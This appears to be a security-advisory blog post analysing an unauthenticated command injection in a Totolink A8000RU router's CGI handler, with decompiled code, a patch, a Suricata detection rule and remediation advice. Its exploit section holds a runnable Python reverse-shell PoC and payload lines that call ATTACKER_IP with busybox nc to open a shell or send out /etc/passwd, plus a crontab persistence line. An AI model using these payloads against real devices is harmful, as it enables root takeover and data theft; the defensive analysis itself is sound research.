home intel cve-2026-7154-totolink-a8000ru-os-command-injection
CVE Analysis 2026-04-27 · 8 min read

CVE-2026-7154: Totolink A8000RU CGI OS Command Injection via tty_server

Unauthenticated OS command injection in Totolink A8000RU 7.1cu.643_b20200521 via the tty_server parameter in setAdvancedInfoShow. CVSS 9.8, remotely exploitable, PoC public.

#os-command-injection#cgi-handler#remote-code-execution#firmware-vulnerability#authentication-bypass
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7154 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7154CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7154 is a critical OS command injection vulnerability in the Totolink A8000RU wireless router, firmware version 7.1cu.643_b20200521. The vulnerable surface is the setAdvancedInfoShow handler inside /cgi-bin/cstecgi.cgi, the monolithic CGI binary responsible for virtually all web-based configuration on these devices. An unauthenticated remote attacker can inject arbitrary shell commands through the tty_server POST parameter, achieving root code execution — the CGI process runs as uid=0 on all surveyed units.

The vulnerability class is textbook unsanitized-input command injection: user-supplied data is interpolated directly into a string passed to system() or an equivalent shell-invoking libc call with no metacharacter filtering, quoting, or length enforcement. The public PoC is a single HTTP POST request.

Root cause: The setAdvancedInfoShow CGI handler copies the attacker-controlled tty_server POST parameter directly into a shell command string via sprintf and executes it with system(), with no sanitization or allowlist validation of the input.

Affected Component

The entry point is the HTTP POST handler for the cstecgi.cgi binary. On this firmware, all CGI actions are demultiplexed by a goform or JSON action field. The action setAdvancedInfoShow configures remote TTY/serial diagnostic parameters. The parameter tty_server is documented as accepting a hostname or IP address for the remote serial server — no validation is implemented.

  • Binary: /cgi-bin/cstecgi.cgi (MIPS32 EL, uClibc, busybox shell)
  • Function: setAdvancedInfoShow
  • Parameter: tty_server
  • Privilege: root (uid=0 gid=0)
  • Authentication required: None observed in PoC

Root Cause Analysis

Reconstructed from MIPS decompilation of cstecgi.cgi binaries from the same Totolink firmware generation. The action dispatch table routes the setAdvancedInfoShow key to a handler that reads POST parameters, constructs a shell command, and calls system().


// Decompiled pseudocode: setAdvancedInfoShow handler
// cstecgi.cgi, Totolink A8000RU 7.1cu.643_b20200521 (MIPS32 LE)

#define CMD_BUF_SIZE 256

typedef struct {
    char action[64];
    char tty_server[128];   // attacker-controlled, from POST body
    char tty_port[16];
    char tty_baudrate[16];
} adv_info_params_t;

// nvram_get_like wrappers used throughout cstecgi.cgi
extern char *web_get_var(const char *name);
extern int   nvram_set(const char *key, const char *val);
extern int   system(const char *cmd);

int setAdvancedInfoShow(void) {
    char cmd_buf[CMD_BUF_SIZE];   // stack buffer, 256 bytes
    char *tty_server;
    char *tty_port;
    char *tty_baudrate;

    // Pull parameters from HTTP POST body (no length limits enforced)
    tty_server   = web_get_var("tty_server");    // attacker-controlled string
    tty_port     = web_get_var("tty_port");
    tty_baudrate = web_get_var("tty_baudrate");

    // Persist to NVRAM
    nvram_set("tty_server",   tty_server);
    nvram_set("tty_port",     tty_port);
    nvram_set("tty_baudrate", tty_baudrate);

    // BUG: tty_server is interpolated directly into a shell command string.
    // No metacharacter stripping, no quoting, no allowlist validation.
    // An input like "127.0.0.1; id > /tmp/pwned" executes both commands.
    sprintf(cmd_buf,
        "/usr/sbin/ser2net -C \"%s,%s,9600\"",
        tty_server,    // <-- unsanitized attacker input
        tty_port);

    // BUG: system() invokes /bin/sh -c, shell metacharacters are interpreted
    system(cmd_buf);

    // Emit JSON response (irrelevant, shell already executed)
    cgi_json_response("{\"result\":\"OK\"}");
    return 0;
}

The sprintf into a fixed 256-byte stack buffer also creates a secondary stack buffer overflow if tty_server plus tty_port exceed the buffer, but the primary exploitable primitive is the command injection through system(). The web_get_var implementation on these devices reads directly from the decoded POST body with no length cap, making both primitives reachable.

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2026-7154:

1. Attacker identifies Totolink A8000RU reachable on LAN or WAN (port 80/443).

2. Craft HTTP POST to /cgi-bin/cstecgi.cgi:
     action=setAdvancedInfoShow
     tty_server=127.0.0.1;PAYLOAD
     tty_port=7000
     tty_baudrate=9600

3. CGI reads tty_server into unchecked local buffer via web_get_var().

4. sprintf() builds: /usr/sbin/ser2net -C "127.0.0.1;PAYLOAD,7000,9600"
   Shell sees: /usr/sbin/ser2net -C "127.0.0.1" followed by PAYLOAD as
   a separate command token after ; terminates the quoted argument.
   (Quotes do NOT protect against ; in busybox sh when misplaced.)

5. system() calls execve("/bin/sh", ["-c", cmd_buf], envp)
   /bin/sh interprets ; as command separator -> PAYLOAD runs as root.

6. For reverse shell:
     PAYLOAD = "busybox nc ATTACKER_IP 4444 -e /bin/sh"
   For persistence:
     PAYLOAD = "echo '* * * * * root /tmp/bd.sh' >> /etc/crontab"
   For credential dump:
     PAYLOAD = "cat /etc/passwd > /tmp/p && busybox nc ATTACKER_IP 4444 < /tmp/p"

7. Response body returns {"result":"OK"} regardless of payload success;
   blind injection, no output in HTTP response.

Minimal PoC request:


#!/usr/bin/env python3
# CVE-2026-7154 — Totolink A8000RU setAdvancedInfoShow Command Injection
# For authorized security research only.

import requests
import sys

TARGET   = sys.argv[1]          # e.g. http://192.168.1.1
LHOST    = sys.argv[2]          # attacker IP
LPORT    = int(sys.argv[3])     # attacker port

# Reverse shell payload via busybox nc (available on all tested units)
PAYLOAD  = f"busybox nc {LHOST} {LPORT} -e /bin/sh"

data = {
    "action":       "setAdvancedInfoShow",
    "tty_server":   f"127.0.0.1;{PAYLOAD}",
    "tty_port":     "7000",
    "tty_baudrate": "9600",
}

print(f"[*] Targeting {TARGET}")
print(f"[*] Injecting: {PAYLOAD}")

resp = requests.post(f"{TARGET}/cgi-bin/cstecgi.cgi", data=data, timeout=10)

print(f"[*] HTTP {resp.status_code} — listen on {LHOST}:{LPORT}")
# Response will be {"result":"OK"} regardless; check netcat listener

Memory Layout


// Stack frame layout for setAdvancedInfoShow (MIPS32, inferred from ABI)
// Stack grows downward; frame size ~0x140 bytes

struct adv_show_frame {
    /* +0x000 */ char     cmd_buf[256];   // sprintf destination — 256 bytes
    /* +0x100 */ char    *tty_server;     // ptr to POST param, no copy limit
    /* +0x104 */ char    *tty_port;
    /* +0x108 */ char    *tty_baudrate;
    /* +0x10c */ uint32_t saved_ra;       // return address ($ra)
    /* +0x110 */ uint32_t saved_s0;
    /* +0x114 */ uint32_t saved_s1;
    /* +0x118 */ uint32_t saved_fp;       // frame pointer
};

STACK STATE — normal benign call (tty_server = "192.168.1.200"):

 [  cmd_buf  +0x000 ] "/usr/sbin/ser2net -C \"192.168.1.200,7000,9600\"\x00"
 [  padding  +0x044 ] 00 00 00 00 00 00 00 00 ...
 [  saved_ra +0x10c ] 

STACK STATE — injection payload (tty_server = "x;busybox nc 1.2.3.4 4444 -e /bin/sh"):

 [  cmd_buf  +0x000 ] "/usr/sbin/ser2net -C \"x;busybox nc 1.2.3.4 4444 -e /bin/sh,7000\""
                       |___________ 66 bytes of injected payload ______________|
                       Still within 256-byte buf for this payload length.

 With tty_server > ~200 bytes: sprintf overflows cmd_buf into saved_ra,
 enabling secondary stack smash (MIPS, no stack canary on this firmware).

SECONDARY OVERFLOW — tty_server = "A" * 220 + "\xNN\xNN\xNN\xNN":

 [  cmd_buf  +0x000 ] AAAA AAAA ... (220 bytes of 'A' + ser2net prefix ~30 bytes)
 [  OVERFLOW +0x0fc ] AAAA  <- into tty_server ptr
 [  OVERFLOW +0x10c ] \xNN\xNN\xNN\xNN  <- saved_ra overwritten

Patch Analysis

No official vendor patch had been released at time of writing. The correct remediation pattern, consistent with how similar Totolink CGI vulns have been addressed in adjacent firmware lines, is input validation before shell construction:


// BEFORE (vulnerable — 7.1cu.643_b20200521):
sprintf(cmd_buf,
    "/usr/sbin/ser2net -C \"%s,%s,9600\"",
    tty_server,   // raw, unsanitized
    tty_port);
system(cmd_buf);


// AFTER (recommended fix):

// 1. Validate tty_server matches an IP/hostname allowlist pattern.
//    Reject anything containing shell metacharacters.
static int is_valid_host(const char *s) {
    // Accept only [A-Za-z0-9.-] — covers IPv4 and simple hostnames
    for (const char *p = s; *p; p++) {
        if (!isalnum((unsigned char)*p) && *p != '.' && *p != '-')
            return 0;
    }
    return (strlen(s) > 0 && strlen(s) < 64);
}

// 2. Validate tty_port is numeric only.
static int is_valid_port(const char *s) {
    for (const char *p = s; *p; p++)
        if (!isdigit((unsigned char)*p)) return 0;
    int port = atoi(s);
    return (port > 0 && port <= 65535);
}

// 3. Use validated inputs and snprintf with explicit size.
if (!is_valid_host(tty_server) || !is_valid_port(tty_port)) {
    cgi_json_response("{\"result\":\"ERR_INVALID_PARAM\"}");
    return -1;
}

snprintf(cmd_buf, sizeof(cmd_buf),
    "/usr/sbin/ser2net -C \"%s,%s,9600\"",
    tty_server,
    tty_port);
system(cmd_buf);

// 4. Preferred: replace system() with execve() to avoid shell entirely.
//    Pass tty_server and tty_port as discrete argv[] elements.
char *argv[] = {
    "/usr/sbin/ser2net", "-C",
    /* build arg without shell */ NULL, NULL
};
// construct the -C argument directly and execve(), eliminating /bin/sh.

Detection and Indicators

Because the injection is blind (HTTP response does not reflect command output), detection must be network- or host-based:

Network signatures:

  • POST to /cgi-bin/cstecgi.cgi with action=setAdvancedInfoShow where tty_server contains shell metacharacters: ; | ` $( && || > < \n
  • Unexpected outbound connections from router IP shortly after such POST (reverse shell, wget, curl to external host)

Suricata/Snort pattern:


alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7154 Totolink setAdvancedInfoShow CMDi";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/cgi-bin/cstecgi.cgi";
    http.request_body;
        content:"action=setAdvancedInfoShow";
        content:"tty_server="; distance:0;
        pcre:"/tty_server=[^&]*[;|`$\n]/";
    classtype:web-application-attack;
    sid:20267154; rev:1;
)

Host-based: On the device itself, a /proc-level check for unexpected children of the CGI process (nc, wget, curl, sh spawned by httpd/cstecgi) or the presence of new files under /tmp with executable permissions is a reliable indicator of post-exploitation.

Remediation

  • Firmware update: Monitor the Totolink support portal for a patched build. No patch existed at disclosure time.
  • Network isolation: Place the device behind a firewall that blocks untrusted hosts from reaching TCP/80 and TCP/443 of the management interface. The attack is equally viable from LAN, so treat all management interfaces as hostile-facing until patched.
  • Disable remote management: If the WAN-side management interface is enabled, disable it immediately under Advanced → Remote Management.
  • Firmware replacement: Consider OpenWRT if supported for this hardware revision, which does not ship the vulnerable cstecgi.cgi handler.
  • WAF rule: If a reverse proxy is in front of the management interface (uncommon but possible in enterprise deployments), deploy the Suricata pattern above at that layer.

CVSS 9.8 is appropriate: the attack requires no credentials, no local access, no user interaction, and delivers root shell. Any Totolink A8000RU unit with firmware 7.1cu.643_b20200521 reachable over the network should be treated as compromised until patched or isolated.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →